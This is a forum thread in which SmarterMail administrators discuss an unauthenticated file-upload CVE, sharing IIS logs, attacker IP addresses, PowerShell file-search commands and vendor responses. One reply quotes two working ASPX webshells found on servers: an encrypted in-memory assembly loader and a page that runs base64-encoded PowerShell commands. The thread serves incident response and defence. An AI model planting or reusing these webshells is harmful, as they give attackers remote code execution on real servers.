2026-01-05 12:52:58 x.x.x.x POST /api/upload X-ARR-CACHE-HIT=0&X-ARR-LOG-ID=d4b661cd-08be-4a43-b115-8a2a703b710d&SERVER-STATUS=400 443 162.252.199.221 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_7)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/16.6.1+Safari/605.1.15 - 400 0 0 685 2282 82
2026-01-05 12:52:58 x.x.x.x POST /Services/Upload.ashx X-ARR-CACHE-HIT=0&X-ARR-LOG-ID=c77d668c-e871-4ea5-b61c-c3725a74e19f&SERVER-STATUS=404 443 162.252.199.221 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_6)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/14.0.3+Safari/605.1.15 - 404 0 0 592 1782 86
2026-01-05 12:52:58 x.x.x.x POST /Interface/Frmx/UploadFile.aspx X-ARR-CACHE-HIT=0&X-ARR-LOG-ID=5b008a88-52fb-4f9b-b2eb-374685867672&SERVER-STATUS=404 443 162.252.199.221 Mozilla/5.0+(X11;+CrOS+x86_64+14816.131.0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/103.0.0.0+Safari/537.36 - 404 0 0 592 1785 87
2026-01-05 12:52:58 x.x.x.x POST /Services/Upload.ashx X-ARR-CACHE-HIT=0&X-ARR-LOG-ID=6a8875f9-9dca-4c98-82ae-f8cc11a3d1fe&SERVER-STATUS=404 443 162.252.199.221 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+WOW64;+rv:41.0)+Gecko/20100101+Firefox/140.0.1+(x64+de) - 404 0 0 592 2270 88
2026-01-05 12:52:58 x.x.x.x POST /api/v1/upload X-ARR-CACHE-HIT=0&X-ARR-LOG-ID=3d1c7e58-5dd9-4535-b46a-9626cb1ec1e2&SERVER-STATUS=404 443 162.252.199.221 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/139.0.0.0+Safari/537.36 - 404 0 0 592 2267 126
J
Jay Dubb Replied
1/6/2026 at 3:37 PM
Same here-- lots of random files (named like @_6b69fa41-2c7d-4d37-bbf9-fd4d7495f30a) and all dated between between 1/4/2026 and 1/5/2026.  File properties shows the creation date matches the timestamp displayed in Windows Explorer.

We've been on build 9448 since Nov. 15th.  I copied/pasted the content of one of those files into ChatGPT and it reported it's an RCE backdoor.

SO..... how sure are we that 9413 was the fix, and that we're not still vulnerable on 9448?
 
J
J. LaDow Replied
1/6/2026 at 5:10 PM
HTTP Response 400 is a BAD REQUEST response -- that's the endpoint they're hitting that's allowing the file to pass (somehow).  The 404's show the invalid endpoints they're attempting. Our logs showed HTTP 200 (SUCCESS) on several endpoints when posting and attempting to retrieve their dropped file but our filesystem showed no files (or history of writes/deletes). We're still investigating.

PS: I don't trust ChatGPT for anything. Everything an LLM produces is done with stolen information and no human supervision.  

VirusTotal is a good place to verify the contents of the dropped files -- https://www.virustotal.com/gui/home/upload or Jotti's site: https://virusscan.jotti.org/

As for the files dropped -- while they're being dropped - without knowing the "random filename" SmarterMail assigns to the file, the attacker has no way of "executing" said file in the filesystem - so here is where SM has the note that it's not 100% trivial to exploit. 

The fact that an unauthenticated file upload is happening is one part of the issue.  It'll be a LOT more serious when they figure out how to chain that into a file rename operation or some way to obtain the dropped file name.  Then they can attempt to execute it against the victim server. Looks like I'll be spending the evening validating some things. 

I would look for all visits from that IP across a couple days to see if it appears anywhere else or if it was just a spraying attempt and they ran away after getting the 400 bad request.
MailEnable survivor / convert --
echoDreamz Replied
1/6/2026 at 5:32 PM
@Jay - Dubb - Same here, been on 9483 since release date, there is thousands of @_xxxxxxxx files in our upload directory all from the 4th and 5th of Jan.

@J. LaDow I also agree with AI in general, slop garbage that needs to die ASAP. Hate that people use it and I really hate when coders use it.
echoDreamz Replied
1/6/2026 at 5:33 PM
 
<!-- test by smarTool--><%@ Page Language="C#"%><%try { string key = "d448da40b62c77ad"; string pass = "7uue3dt1xi"; string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", ""); byte[] data = System.Convert.FromBase64String(Context.Request[pass]); data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length); if (Context.Application["payload"] == null) { Context.Application["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ; } else { System.IO.MemoryStream outStream = new System.IO.MemoryStream(); object o = ((System.Reflection.Assembly)Context.Application["payload"]).CreateInstance("LY"); o.Equals(outStream); o.Equals(data); o.ToString(); byte[] r = outStream.ToArray(); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16)); } } catch (System.Exception) { }
%>
Sample of the file, they all appear be 100% exact copies of each other, just differing file names.

UDPATE: Take it back, there are some files that are just random content like "12345", "smartMail OWNED", "smartMAIL BELONG US" or...

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
    string y = Request.QueryString["y"];
    if (y != "fb1d7d54103c48e6") { Response.StatusCode = 404; return; }
    string x = Request.QueryString["x"];
    if (!string.IsNullOrEmpty(x)) {
        byte[] bytes = Convert.FromBase64String(x);
        x = System.Text.Encoding.UTF8.GetString(bytes);
        ProcessStartInfo psi = new ProcessStartInfo();
        psi.FileName = "powershell.exe";
        psi.Arguments = "-NoProfile -ExecutionPolicy Bypass -Command " + x;
        psi.RedirectStandardOutput = true;
        psi.UseShellExecute = false;
        Process p = Process.Start(psi);
        Response.Write("<pre>" + Server.HtmlEncode(p.StandardOutput.ReadToEnd()) + "</pre>");
        p.WaitForExit();
    }
}
</script>
J
J. LaDow Replied
1/6/2026 at 5:39 PM
If anyone is willing to share any of these files for analysis I'd love a copy (DM for email address). 

Be aware that this upload folder seems to be the catch for "anything" uploaded and I'm sure that there can be legitimate files there. Only viewing the actual file contents (or testing them with something like the sites above) will verify what's actually there.

On our server (build 8657), we have three "active folders" inside App_Data - upload, Attachments, and FileStorageTemp -- all three folders have files in them that are legit.  Our upload folder has only two files and we have a watcher that listens for events on that folder now. 

It seems that the upload and Attachments folder seem to clean themselves up over time, but the FileStorageTemp folder has not on our system -- there are some files as far back as our initial install in there (all legit after analysis).
MailEnable survivor / convert --
J
J. LaDow Replied
1/6/2026 at 5:43 PM
@echoDreamz:

Those are DEFINITELY malicious.  That second one shows the chaining attempts I'm talking about.  If they can get execution of that script - it will download it's actual attack code via PowerShell to fully pwn the server.
MailEnable survivor / convert --
echoDreamz Replied
1/6/2026 at 5:48 PM
Yup, both nasty, the first code I provided is the majority of the files, thousands of them. The second code is a few hundred, then a few hundred random files with just random snippets of text in them.

Attackers are clearly aware and were trying, I assume they figured out that our version is not vulnerable and moved on possibly.
J
J. LaDow Replied
1/6/2026 at 5:52 PM
Here's the thing - in my opinion - being able to randomly drop the files is STILL vulnerable. The only thing preventing full RCE is not knowing the names of the files dropped and whatever permissions/routing rules prevent reading from that folder directly.

 - security by obscurity is not a valid response in this day and age. 

As of this point, I've got several VMs up and running and doing testing...
MailEnable survivor / convert --
D
David Feuer Replied
1/6/2026 at 5:53 PM
Seeing what @EchoDreamz posted in terms of files.
The only thing that changes is the info in this line
if (y != "ThisNumberSeemsRamdon")
A few more popped in over the last hour or so on a fully patched 9483 system. 
Anyone from ST want to comment? 
C
Christopher Hiatt Replied
1/6/2026 at 6:36 PM
Yeah I'm not digging these reports. I only have about 20 users. I just run this for friends and family. $500 to $700 a year is hard enough to absorb just for fun. I leaning towards shutting this down entirely and never looking back.
echoDreamz Replied
1/6/2026 at 6:45 PM
I've verified with Crowdstrike, nothing bad happening on this server or it's network activity. So, seems it is ok, though, if you have not updated, oh boy...
J
J. LaDow Replied
1/6/2026 at 6:58 PM
@echodreamz

Is there any chance you have logfile entries from somewhere around the times when those files were dropped? The second one is trying to chain a remote exploit via powershell - and the data needed for the chain should appear in the requests for "aspx" files directly after the uploads...  I'm just curious what kind of querystring data the attackers are trying to send... DMs are open if needed.

EDIT:

It seems they're able to drop files still, but said files have no attack vector because they can't manage to chain execution.  I'm assuming the current fix at this point stops the file processing after the initial drop, whereas vulnerable versions complete the upload and naming process and this creates the remote exploit vector.  Still testing.
MailEnable survivor / convert --
M
Mark Johnson Replied
1/6/2026 at 7:01 PM
can we disable file uploads? 
that will mitigate it for now wont it?

thanks
@echodreams
I'm so glad I spent close to a grand on software that has an unauthenticated file upload vulnerability and the only way to get a fix is to pay over 1k in upgrade fees.
Welcome to software development; where, bugs, vulns etc. exist and you have to pay annual upgrade and support fees and install new versions.
Yep, Unlike other industries like cars and such, where there is discovered a critical flaw the manufactures are required to issue a RECALL and free repairs of the issue, software companies, even hardware too are like - "Yea, your screwed, but if you give us more money we can maybe help you."

AS an industry, this needs to change and take safety more seriously. If there is something that can cause so much problems, we should not have to pay to fix something that we already paid for once as a working product.

In my opinion, this also points directly into a previous discussion of the difference in having "Stable" versions with just security fixes, versus a "latest and greatest" version that has all types of new bells and whistles added.
www.HawaiianHope.org - Providing technology services to non profit organizations, low income families, homeless shelters, clean and sober houses and prisoner reentry programs. Since 2015, We have refurbished over 11,000 Computers !
So, I went digging through our logs. We only have 24 of those @_ files that i found.  Looked up all of them in the logs and came up with a matching set of IP Addresses.  One of them in particular the most active on the 5th was the same that David Feuer posted : 
162.252.199.221
Which when I went looking more led me to this article :
https://blog.bushidotoken.net/2025/02/investigating-anonymous-vps-services.html

Also, 3 of the IPs listed in our logs appear they are from CloudFlare. But these are the IP's teh attacks came from.
38.246.245.22
156.238.229.252
172.64.200.163
172.69.33.217
104.23.251.234
162.252.199.221
www.HawaiianHope.org - Providing technology services to non profit organizations, low income families, homeless shelters, clean and sober houses and prisoner reentry programs. Since 2015, We have refurbished over 11,000 Computers !
Matthew Titley Replied
1/6/2026 at 9:57 PM
@echoDreamz this is interesting. I upgraded to latest build on 1/3 on a freshly built and deployed server at just before midnight eastern. on 1/4 there are a bunch of files uploaded/created that day to the upload folder with just 12 characters of jibberish. On 1/5 I have about 100 files with the exact code you posted earlier. None of those past 7:38pm on the 5th though, nor today. I do have some files with local email addresses in the file name, then appended with what looks like a message serial number and the name of an attachment that a legit user attached to a message.

My AV scanned those "@_******..." files and it also doesn't mark them as problematic.

At this point I'm not sure what to think, frankly.
J
J. LaDow Replied
1/6/2026 at 11:10 PM
My research so far shows that might be a 3-day grace period for rejected/incompleted uploads before they're cleaned out.

Fact remains that unauthenticated uploads are somehow still happening even if the files are not being further processed...

The two IPs that tried to hit us:
2406:da18:492:9301:dbab:91f:a88d:8c56 (AWS "ap-southeast-1")
2a12:bec4:1be0:d5e0::1 (YottaSrc - https://api.ipapi.is/?q=2a12:bec4:1be0:d5e0::1)
MailEnable survivor / convert --
Jade B Replied
1/6/2026 at 11:16 PM
How many here have upgraded to a version beyond 9413 and are still seeing suspicious files being uploaded?

In particular random files without a file extension?
Jade B Replied
1/6/2026 at 11:50 PM
@J. LaDow tracking the IP's that tried to hit your servers will keep you up for days.

Best defense is to mitigate against any possible further upload using the tools that are available to us within IIS.

I've run an upgrade on one of our servers using the latest build and am now monitoring to see if these random files are still being uploaded without any auth.

As I have mentioned before about some of the changes that should be made, another is for ST to release an out of band patch for all affected clients considering that this affects all versions of SM prior to 9406.

I doubt this will happen, but it is what I would do if ST was my company and what other vendors have done as it shows good faith during a crisis where a CVE has been scored a 10/10 for severity 
J
J. LaDow Replied
1/7/2026 at 6:06 AM
Because of how they've released the software for the last 2 years, there won't be "out of band patches" for all those versions.  That's the problem with a rolling release schedule.

That said - the version we're on currently (which I've been scorned over multiple times) does not seem vulnerable. We've been testing things for the last couple days on that front and not been able to drop files - but we're on a pre- .NET Core version of the software

In "current versions", our tests do reflect the ability to upload, but newest versions seem to stop the processing logic somewhere and leave the uploaded files in an unusable state. By unusable, I mean they don't have valid filenames or extensions but they're still malicious. They stay in that temporary state until the system house-cleans them in  48-72 hours from initial drop.

As for tracking IPs - that's something every server admin worth their weight in experience will do. Yes, it's time consuming and a never-ending war but that's what hosting is. It's part of the game one way or another.  

We block IPs that use certain patterns to attempt to scan and exploit servers (the script kiddies and so forth). We monitor log files and then our external IDS bans IPs continuously based on those triggers. When we see entire class B's or C's that are causing problems, we'll block it entirely with zero remorse. Same goes for bad ASNs and bulletproof hosts. IPs may be constantly in flux but 90 day blocks have been highly effective in keeping repeat offenders out. 
MailEnable survivor / convert --
S
Scott Davidson Replied
1/7/2026 at 10:40 AM
Few questions.
Has anyone from smartertools replied as to the fact that files are still being uploaded?
Also, other then the standard AV scans has anyone found a way of seeing if something did get in?
And has anyone seen a compromise on their system?
Matthew Titley Replied
1/7/2026 at 11:08 AM
FWIW, I have not seen anything in the upload folder (other than expected temporary files generated by mail operations of email attachments by users) since 1/5. 
echoDreamz Replied
1/7/2026 at 1:11 PM
Just watched about 50 files pop up in the upload folder, all within a minute of each other. 6 IP addresses, all AWS ones.
JerseyConnect Team Replied
1/7/2026 at 2:22 PM
@Scott Davidson, search your server for files that start with @_ or the file extensions mentioned in that penligent article:

get-childitem -path $driveletter -recurse -force -erroraction silentlycontinue | where-object {(($_.name -like "*.aspx") -or ($_.name -like "*.ashx") -or ($_.name -like "*.cer") -or ($_.name -like "*.soap") -or ($_.name -like "@_*")) -and ($_.creationtime -ge (get-date).adddays(-8))} | select fullname,creationtime
Jade B Replied
1/7/2026 at 9:27 PM
I've made several changes to all of our mail servers and the one that has been upgraded to the latest version Build 9483 is still prone to unauthenticated uploads, meaning that this issue has not resolved as per multiple CSA Advisories.

It's only a matter of time before attackers figure out how to execute and launch these files that start with @_
echoDreamz Replied
1/7/2026 at 10:17 PM

These files are ASP.NET Web Forms (C#), which are an issue on older SmarterMail versions built on the .NET Framework, since IIS would execute them when the application pool is configured to use the CLR.

In current SmarterMail versions, the application is .NET Core–based and runs under an application pool set to No Managed Code. In this configuration, IIS does not load the .NET Framework runtime and therefore will not execute .aspx files.

Likewise, when running without IIS, Kestrel has no support for ASP.NET Web Forms, so these files cannot be executed there either.

As a result, modern SmarterMail deployments, these ASP.NET (C#) files are inert and cannot be executed by either IIS or Kestrel.

Is anyone here running SmarterMail under a standard user instead of the normal "System" account?
Jade B Replied
1/7/2026 at 11:22 PM
Thanks for the technical breakdown @echoDreamz

Many clients would have had mail servers running prior to when ST transitioned away from ASP.Net to .net Core meaning that those servers are still configured to run an execute ASP.Net code.

The issue here is not whether those uploaded files can be executed, but rather that an unauthenticated user can upload arbitrary files to the server and this is still present in the latest build of Smartermail v 9483 
echoDreamz Replied
1/8/2026 at 1:21 AM
If you did transition from .net framework SmarterMail to .net core SmarterMail, your IIS application should hopefully be changed to "No Managed Code".

As well... IIS root application path is configured to... 
C:\Program Files (x86)\SmarterTools\SmarterMail\MRS
SmarterMail itself runs out of...
C:\Program Files (x86)\SmarterTools\SmarterMail\Service
So the uploaded files to
C:\Program Files (x86)\SmarterTools\SmarterMail\Service\App_Data\uploads
Would not even be accessible by IIS since SmarterMail IIS application's web.config is set to pipe requests to the SmarterMail Kestrel .net core web server and the file is physically outside of the accessibility of the IIS website. Even if your SmarterMail application pool is set to .net 4.0, IIS physically cannot execute requests to http://your_sm_install/App_Data/uploads/the_malicious_file.aspx for the .net CLR due to the file being outside of it's reach, and Kestrel cannot execute classic ASP.NET code.

Yes, I do agree there is a major issue here, regardless.
Tim Uzzanti Replied
1/8/2026 at 4:00 PM
Employee Post
An email is being sent to all SmarterMail customers that provides additional information on the CVE.  Additionally, a new build has been released and should be installed as it introduces new features such as blocking files without extensions and an entirely new file upload process that is consistent across SmarterMail.  
Tim Uzzanti CEO SmarterTools Inc. www.smartertools.com
N
Nathan Replied
1/8/2026 at 5:39 PM
I know 9413 or later is safe but if you want to test your SM install you can use this python script:

https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691
echoDreamz Replied
1/8/2026 at 6:02 PM
Clean write up on that, wow... So it's not that SM is just writing anonymous files that would allow IIS to execute them, it's allowing them to be written anywhere by not validating the provided GUID... Incredible.
Jade B Replied
1/8/2026 at 6:25 PM
Tim, blocking uploads without a file extension is great but have you resolved the issue reported where the latest version of Smartermail still allows unauthenticated uploads? 
J
J. LaDow Replied
1/8/2026 at 6:49 PM
And validating the GUID only prevents WHERE the files go - not prevents the initial unauthenticated upload which is the REAL problem. I'm assuming the upcoming build fixes this - we'll see.
MailEnable survivor / convert --
echoDreamz Replied
1/8/2026 at 7:03 PM
We also always remove the default IIS website on all servers with IIS installed and setup dedicated website's for our applications at specific paths. So now may be a good time for those running Windows with IIS running in front of SM, check your default site, if it's not in use, stop it or remove it.

Has anyone here changed their SM service to run as a different Windows user account?
J
JohnC Replied
1/8/2026 at 7:27 PM
I am running SM 14.7, and I don't even see the "App_Data\upload" sub-folder on my server in the previously posted path: C:\Program Files (x86)\SmarterTools\SmarterMail\Service\App_Data\upload

P.S. Also, in Settings...Storage...File Storage...Options Tab - I do NOT have the "Enabled" checkbox checked for the "Root URL" setting.
S
Scott Davidson Replied
1/8/2026 at 7:29 PM
So according to the email about this:
On October 2nd, we were notified that a vulnerability was found in a specific version of SmarterMail.

But according to the CVE:
The vulnerability affects SmarterMail versions Build 9406 and earlier.

So @Tim Uzzanti which is it?

Just one version or a couple of versions or all going back to forever?

And any comment on the watchtowr link that Nathan posted?
J
J. LaDow Replied
1/8/2026 at 8:11 PM
Some PowerShell commands that may be useful - make a temp folder and run it from there.  This will recursively search for new or modified files.

The first variable controls the days backwards. Second variable controls search start point. You can restrict the search path but considering the vulnerability allowed for path traversal, you will want to scan the entire drive for files as SM has in the past run with "SYSTEM" user privileges - not 100% sure if this is still the case, but it is on our system. 

You could probably make modifications to restrict to certain file extensions as well but as for as I'm concerned - checking EVERYTHING is recommended at this point.

Presence of new or modified files doesn't indicate exploit - you have to actually verify the file contents and do further due-diligence to know.  This just gives you a starting list of stuff to look at.

$cutoff=(Get-Date).AddDays(-15)

$searchRoot="C:\"

Get-ChildItem -Path $searchRoot -File -Recurse | Where-Object {$_.CreationTime -ge $cutoff} | Out-File "created-files-list.txt"

Get-ChildItem -Path $searchRoot -File -Recurse | Where-Object {$_.LastWriteTime -ge $cutoff} | Out-File "last-modified-files-list.txt"
MailEnable survivor / convert --
Jade B Replied
1/8/2026 at 8:16 PM
@JohnC - you should be safe and immune to this particular CVE as you do not have the file storage option that ST introduced in later versions.
It is always recommended to double check a list of known issues

Smartertools should seriously consider the option of allowing us to turn off features that we do not want.

Allowing clients to upload files and use a mail server as a file sharing server has already bitten us in the ass a few years back when a client uploaded a phishing file and distributed the link to his contacts which resulted in our IP being blacklisted.

Tracking down the offending user was fun as there is little to no auditing on who uploads what.
B
Bill T Replied
1/8/2026 at 9:49 PM
Just another note to add. When checking IIS logs, starting on 12/30 we have had a few dozen POST attempts to the api/upload url all with response codes of 400 or 500. 

Examples:
POST /api/upload - 443 - 154.31.113.160 python-requests/2.32.5 - 500 0 0 134
POST /api/upload - 443 - 154.31.113.160 python-requests/2.32.5 - 400 0 0 134

When trying the watchtowr Python POC it hits that same api/upload url but gets a response code of 200 and drops the file. 

Example:
POST /api/upload - 443 - x.x.x.x python-requests/2.32.5 - 200 0 0 12097

Is it safe to assume that the 400/500 responses did not get a file through? We have no suspicious new files anywhere on the drive other than the watchtowr POC. 

We do have a lot of GET attempts with random .aspx file extensions around the same times, they all get 200 responses, but I noticed that any randomfile.aspx request generates a 200 response and empty HTML document.

I'm hopeful nothing got through, but will continue scanning.
Jade B Replied
1/8/2026 at 10:20 PM
@Bill T


Double check below, as you should see a 404 error for random .aspx files suggesting that the file was not found.

If the file was found then it suggests that your server has been compromised.

We do have a lot of GET attempts with random .aspx file extensions around the same times, they all get 200 response
I suggest running a few AV scanners on your server just be double sure
J
J. LaDow Replied
1/8/2026 at 11:45 PM
400 technically is an HTTP BAD REQUEST error.  In our testing, when you get an HTTP 400 back, SM's logic stopped processing the file somewhere in the validation. 

In certain cases, the file still uploads and is left in a partial processed state depending on what build you are on...

As stated in WatchTowr's write up, anything inside App_Data is usually protected by IIS unless you've done something bad with permissions -- but one of the issues is whether or not IIS protects App_Data if the .NET Core web server is in the mix - and does Kestrel have the same protections.  So far, testing says it does.  The files only become dangerous when they escape App_Data (so far).

The reason this originally was so bad was there was a lack of sanitizing of variables that led path traversal during the upload - which allowed uploads to land outside of the protected App_Data and it's subfolders.  The original fix at least added some validation to the variables. 

Now the full fix should include no more unauthenticated file uploads period. Enough attackers try, and they could still DoS a server just by exhausting storage space...
MailEnable survivor / convert --
R
Reto Replied
1/9/2026 at 12:19 AM
Just got the email from ST about the CVE, the email claims that the 9413 had a release not for a critical security fix. There is absolute no note currently on the release note page at https://www.smartertools.com/smartermail/release-notes/current and if I enable "Show only release notes marked as important" I get only 9476 with a no downgrade notice. 
Jade B Replied
1/9/2026 at 12:21 AM
The release page reads as per below, seems this was downplayed :

Build 9413 (Oct 9, 2025)

  • Added: [API] System Admin -> CancelAttachDomain.
  • Added: [API] System Admin -> GetAttachDomainState.
  • Added: [API] System Admin -> GetAttachingDomains.
  • Added: [API] System Admin -> SendPasswordViolationEmail.
  • Added: [HA] [HUB] A catch-all error page that logs HAProxy errors.
  • Added: Delay send settings to User Defaults.
  • Fixed: .NET 9.09 runtime is not being detected as valid .NET 9.x runtime.
  • Fixed: [HA] [HUB] IP Address validation for * doesn't work for RBLs.
  • Fixed: Adding attendee on shared calendar with Manage permissions (EWS) when no attendee was present results in broken a appointment.
  • Fixed: Appointments created in eM Client (EWS) or Apple Calendar (EWS) do not sync to SmarterMail.
  • Fixed: Attaching a domain with lots of users can display a long spinner for System Administrators.
  • Fixed: Marketplace "whats new" is missing a translation strings
  • Fixed: Message counts that display on a folder don't match the number of messages.
  • Fixed: Online meeting can show the incorrect start time for meetings.
  • Fixed: Outlook Address Book not properly filtering contacts over MAPI.
  • Fixed: System level "Password Violations" emails fail if sent to more then one user at a time.
  • Fixed: Users are not able to receive 2FA code at their recovery address after a password expiration.
  • Fixed: Using Outlook (MAPI) to reply to an email from another user on the domain, but not in the GAL, can fail.
  • Fixed: When attaching a domain, the counts on the top label don't update to reflect the User count.
  • Security: General security fixes.
Gabriele Maoret - SERSIS Replied
1/9/2026 at 1:30 AM
The CVE was updated yesterday, and it appears the reference stating that the vulnerability was present in releases prior to 9413 has been removed:


This makes me think that ALL versions of SmarterMail are vulnerable, even the latest one...

So SmarterTools needs to update us and tell us whether the vulnerability is actually still present or not...
Gabriele Maoret - Head of SysAdmins and CISO at SERSIS Currently manages 6 SmarterMail installations (1 in the cloud for SERSIS which provides services to a few hundred third-party email domains + 5 on-premise for customers who prefer to have their mail server in-house)
R
Reto Replied
1/9/2026 at 2:00 AM
The information from ST until now is worthless, best information is the watchtowr link that Nathan posted above. 
R
Reto Replied
1/9/2026 at 3:59 AM
In the email from ST, they state that with 9504 administrators will habe additional features and functionality related to uploads. Has anyone found new options, I was not able to spot any new settings regards uploads or file sharing. 
Jade B Replied
1/9/2026 at 5:05 AM
@Reto,

They added the attached new section which I presume is what they are referring to.

The fact that this is required is already a red herring 
R
Reto Replied
1/9/2026 at 5:17 AM
@Jade B, thanks. But this is not new to 9504 - it is at least in the product since 9434.
Jade B Replied
1/9/2026 at 5:25 AM
@Reto - np's at all, I must have overlooked that tbh
J
JohnC Replied
1/9/2026 at 7:12 AM
@Jade B,

I just want to make sure I'm on the same page, because my version 14.7 does have the "File Storage" setting I mentioned, so I am confused why I am able to see a setting by this name because you said "as you do not have the file storage option that ST introduced in later versions".

Is this vulnerability part of a feature under a different name other then "File Storage"?

And do you know what version of SM this vulnerable feature was first added to SM?
N
Nathan Replied
1/9/2026 at 8:18 AM
@JohnC,

The issue is related to a generic file upload routine (i.e. adding attachments to emails), not something that is specific to enabling File Storage.
J
JohnC Replied
1/9/2026 at 9:56 AM
@Nathan,

So, does my version 14.7 have this vulnerability or not?

If it does, then why don't I see that "....\App_Data\upload" sub directory?
Jade B Replied
1/9/2026 at 10:10 AM
@JohnC - apologies for for the confusion earlier in previous post.
Best way to check to see if you are affected is to monitor the files within the dir below

C:\Program Files (x86)\SmarterTools\SmarterMail\MRS\App_Data\upload
J
JohnC Replied
1/9/2026 at 11:11 AM
@Jade B,

But what if I do not even see that "\upload" sub-directory, meaning it does NOT exist.

C:\Program Files (x86)\SmarterTools\SmarterMail\MRS\App_Data\upload <- this "\upload" sub-dir does not exist on my system.
Why would that sub-directory be missing?
echoDreamz Replied
1/9/2026 at 11:23 AM
@JohnC

C:\Program Files (x86)\SmarterTools\SmarterMail\MRS\App_Data\upload
Is the path used by the older .net framework SmarterMail installations, v16 and below. If you are running the newer .net core SmarterMail, then it would be...

C:\Program Files (x86)\SmarterTools\SmarterMail\Service\App_Data\upload
J
JohnC Replied
1/9/2026 at 1:21 PM
@echoDreamz,

I have version 14.7 so this should be the correct path:

C:\Program Files (x86)\SmarterTools\SmarterMail\MRS\App_Data\upload
But the "\upload" sub-directory does not exist.

Do you know why?
d
digital.iway Replied
1/9/2026 at 2:03 PM
This CVE is catching me off guard.  I did look at my server today and I am showing those compromised files ONLY from yesterday and this morning and only about 5.  Only 2 I removed in the upload directory with @ symbol and no extension and a few in AppData that I renamed to .txt - here is a screen shot: https://share.zight.com/kpuGlwwW

I did open ticket with smartertools to get questions answered and I am planning the upgrade for tomorrow.

I have Smarter Mail Version:
Build 9182 (Feb 20, 2025)

MY SERVER:
Windows 2019 Standard
10.0.17763 Build 17763

My concern is smartertools is telling me that I should backup my data and re-image my server which seems drastic without them looking at my server and I want to know form others how bad is this??  Can I mitigate this with the upgrade and some manual server review?  what is everyone else planning to do?

I have a extension blacklist with .aspx and many other but I still say .aspx files appear in AppData

What are these files doing to the server?

What should I be looking for and how bad can this be??
Jade B Replied
1/9/2026 at 2:38 PM
@digital.iway

My suggestion is not to wait till tomorrow to update and instead do it now.
You can then run a few free AV scans on the server afterwards, and then decide how you want to proceed.
R
Reto Replied
1/9/2026 at 3:11 PM
@digital.iway
If you have, check the c:\inetpub\wwwroot too. As the Watchtowr link from Nathan (above) shows that it's possible to make path traversal and store files anywhere on the disk where the smapp is. If there are files and your default site is reachable from the internet it could be bad. 
Check above the powershell code from J. LaDow to get a list of created and modified files on your system for the last days and review the list.
Ciaran Morgan Replied
1/9/2026 at 3:51 PM
Hi all,
I have been following this thread with interest.  I have my Smartermail installation on a Debian Linux box and had updated it before Christmas to build 9483.
I am interested to know if any other admin has a Linux installation and whether the same exploit is something to be as concerned about on Linux as you all are about Windows/IIS

My setup has an apache2 server infront of my Smartermail insatllation and dies not use the built-in SmarterMail webserver - that is Apache2 is a reverse proxy to the Smartermail service on service port 17017.  
On inspecting the apache2 logs today, I found a large nummber of entries from yesterday (Jan 8th) and a few from today (Jan 9th) either attempting to  POST an UploadFile.aspx file or GET a random named apsx file on my server.  All attempts either resulted in a 404 or 301 response from Apache2.  All attempts were the following limited number of IP addresses 
162.252.198.3
146.70.224.253
89.37.63.156
64.62.156.132
203.176.215.246
46.3.216.2
213.219.38.113
38.54.15.212
113.94.116.25
23.138.76.20
240e:3b2:7c12:8520:242f:c516:1cf7:e00d
2001:470:2cc:1::21f

Obviously, these have been blocked at the firewall level now but looking around the server, the upload folder that is referred to above is located at /etc/smartermal/App_Data/upload and contains a number of files starting @_ and with no extension, all dated Jan 8th/9th and with timestamps that appear to match timestamps in the Apache2 logs .  If I have followed everything above correctly, these are the intermediate files that have successfully been uploaded by the exploit - which is strange as the Apache2 logs are reporting 301/404 responses for these entries.  
The files come in three basic variants (626, 912 or 1083 bytes) and contain what looks like aspx code.

My question - I cannot see anything else on my Linux server that would suggest it has been comprimised but I want to make sure.  What else/where else should I be checking on the server to be absolutely sure?
Both the /etc/smartermail/App_Data/Attachments and /etc/smartermail/App_Data/FileStorageTemp do not contain any files.

THanks for any thoughts.
d
digital.iway Replied
1/9/2026 at 6:20 PM
@Jade B & Retro thanks.  what should be in the AppData/Atachments folder?  should I remove all of those files?  what it is for?  so far everything looks good and I did remove 3 from c:\inetpub\wwwroot  doing the upgrade soon just waiting for backup to complete.
B
Brian Kropf Replied
1/9/2026 at 6:41 PM
One of my SmarterMail servers does not contain the "uploads" folder but another one does. The one that contains the folder has two files inside with created and modified dates from 2024. The server without the folder is on Build 9413 and the server with the folder is on Build 9455.
M
Mark K. Replied
1/9/2026 at 10:23 PM
Not sure if this is related, server is running 2019 and last night installed latest SM 9504, before that I was running 9483. Virus scanning with EMSISOFT and it tagged MailService.dll as infected, checked with VirusTotal and confirmed. 

Checked it on another SM server also running 2019 which was on 9483 before also upgrading to 9504 yesterday and the same MailService.dll shows infected.

C:\Program Files (x86)\SmarterTools\SmarterMail\Service\MailService.dll
d
digital.iway Replied
1/9/2026 at 11:51 PM
My upgrade from Build 9182 to 9504 went fine. no issues on install and it is operational.  for reference I am running IMAP, EAS and declude no MAPI.

Windows 2019 Standard
10.0.17763 Build 17763
======================================
I only saw hacked files in these 3 folders:

c:\inetpub\wwwroot (3 aspx files)

App_Data (3 aspx files)

Upload folder (2 files with @symbol)
=======================================
Bit defender on my machine did catch and delete these files ONLY if I tried to move them.  as a note when i did move them they were renamed to .TXT and still caught by bit defender.

